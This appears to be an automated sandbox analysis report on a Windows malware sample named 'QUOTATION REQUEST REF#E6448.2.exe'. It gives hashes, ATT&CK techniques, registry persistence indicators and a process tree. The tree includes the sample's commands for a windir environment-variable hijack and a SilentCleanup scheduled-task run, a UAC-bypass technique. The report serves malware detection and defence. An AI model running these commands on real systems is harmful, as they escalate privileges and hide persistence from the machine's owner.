37997c1eec37f3540a10458aa1e67be3cff20ef13feea966da82ec0f99f4fbc7

Analysis

max time kernel
125s
max time network
131s
platform
windows7_x64
resource
win7v20210410
submitted
04/08/2021, 06:25

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General

Target
QUOTATION REQUEST REF#E6448.2.exe
Size 686KB
Sample210804-tmxhrbct7a
SHA256 37997c1eec37f3540a10458aa1e67be3cff20ef13feea966da82ec0f99f4fbc7
MD5 d5dde8d50ca8261598f65244a920599d
SHA1 03082c5146c70cc8b2ad1e62424458459d66ce5d
SHA512 c6ec9b7061ddc552d183896de96dffc74db05aea44363b4f8c9d1c176b9d76a238c0288049646698f7dfee95661e8184592679517c885f2f339c9b465e59abdd
MD5 SHA1 SHA512

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\Qfmfqax = "C:\\Users\\Public\\Libraries\\xaqfmfQ.url"	QUOTATION REQUEST REF#E6448.2.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1644	616	WerFault.exe	31

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
792	reg.exe
1236	reg.exe
1816	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1644	WerFault.exe
1644	WerFault.exe
1644	WerFault.exe
1644	WerFault.exe
1644	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1644	WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1644	WerFault.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 616	916	QUOTATION REQUEST REF#E6448.2.exe	31
PID 916 wrote to memory of 1560	916	QUOTATION REQUEST REF#E6448.2.exe	32
PID 916 wrote to memory of 1560	916	QUOTATION REQUEST REF#E6448.2.exe	32
PID 916 wrote to memory of 1560	916	QUOTATION REQUEST REF#E6448.2.exe	32
PID 916 wrote to memory of 1560	916	QUOTATION REQUEST REF#E6448.2.exe	32
PID 616 wrote to memory of 1644	616	mshta.exe	34
PID 616 wrote to memory of 1644	616	mshta.exe	34
PID 616 wrote to memory of 1644	616	mshta.exe	34
PID 616 wrote to memory of 1644	616	mshta.exe	34
PID 1560 wrote to memory of 1552	1560	cmd.exe	35
PID 1560 wrote to memory of 1552	1560	cmd.exe	35
PID 1560 wrote to memory of 1552	1560	cmd.exe	35
PID 1560 wrote to memory of 1552	1560	cmd.exe	35
PID 1552 wrote to memory of 792	1552	cmd.exe	37
PID 1552 wrote to memory of 792	1552	cmd.exe	37
PID 1552 wrote to memory of 792	1552	cmd.exe	37
PID 1552 wrote to memory of 792	1552	cmd.exe	37
PID 1552 wrote to memory of 1236	1552	cmd.exe	38
PID 1552 wrote to memory of 1236	1552	cmd.exe	38
PID 1552 wrote to memory of 1236	1552	cmd.exe	38
PID 1552 wrote to memory of 1236	1552	cmd.exe	38
PID 1552 wrote to memory of 592	1552	cmd.exe	39
PID 1552 wrote to memory of 592	1552	cmd.exe	39
PID 1552 wrote to memory of 592	1552	cmd.exe	39
PID 1552 wrote to memory of 592	1552	cmd.exe	39
PID 916 wrote to memory of 608	916	QUOTATION REQUEST REF#E6448.2.exe	40
PID 916 wrote to memory of 608	916	QUOTATION REQUEST REF#E6448.2.exe	40
PID 916 wrote to memory of 608	916	QUOTATION REQUEST REF#E6448.2.exe	40
PID 916 wrote to memory of 608	916	QUOTATION REQUEST REF#E6448.2.exe	40
PID 608 wrote to memory of 1816	608	cmd.exe	42
PID 608 wrote to memory of 1816	608	cmd.exe	42
PID 608 wrote to memory of 1816	608	cmd.exe	42
PID 608 wrote to memory of 1816	608	cmd.exe	42

C:\Users\Admin\AppData\Local\Temp\QUOTATION REQUEST REF#E6448.2.exe
"C:\Users\Admin\AppData\Local\Temp\QUOTATION REQUEST REF#E6448.2.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\SysWOW64\mshta.exe
  C:\Windows\System32\mshta.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 616 -s 144
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:1644
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Public\Trast.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1552
  - - C:\Windows\SysWOW64\reg.exe
      reg delete hkcu\Environment /v windir /f
      4⤵
      Modifies registry key
      PID:792
  - - C:\Windows\SysWOW64\reg.exe
      reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      4⤵
      Modifies registry key
      PID:1236
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      4⤵
      PID:592
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Public\nest.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:608
- - C:\Windows\SysWOW64\reg.exe
    reg delete hkcu\Environment /v windir /f
    3⤵
    - Modifies registry key
    PID:1816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/616-80-0x0000000000080000-0x0000000000081000-memory.dmp

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memory/616-79-0x0000000010670000-0x00000000107C6000-memory.dmp

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memory/616-78-0x00000000002B0000-0x00000000002B1000-memory.dmp

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memory/616-77-0x0000000000200000-0x0000000000201000-memory.dmp

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memory/916-65-0x0000000075011000-0x0000000075013000-memory.dmp

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memory/916-61-0x00000000003D0000-0x00000000003EB000-memory.dmp

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memory/916-64-0x0000000000230000-0x0000000000231000-memory.dmp

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memory/1644-81-0x00000000007F0000-0x00000000007F1000-memory.dmp

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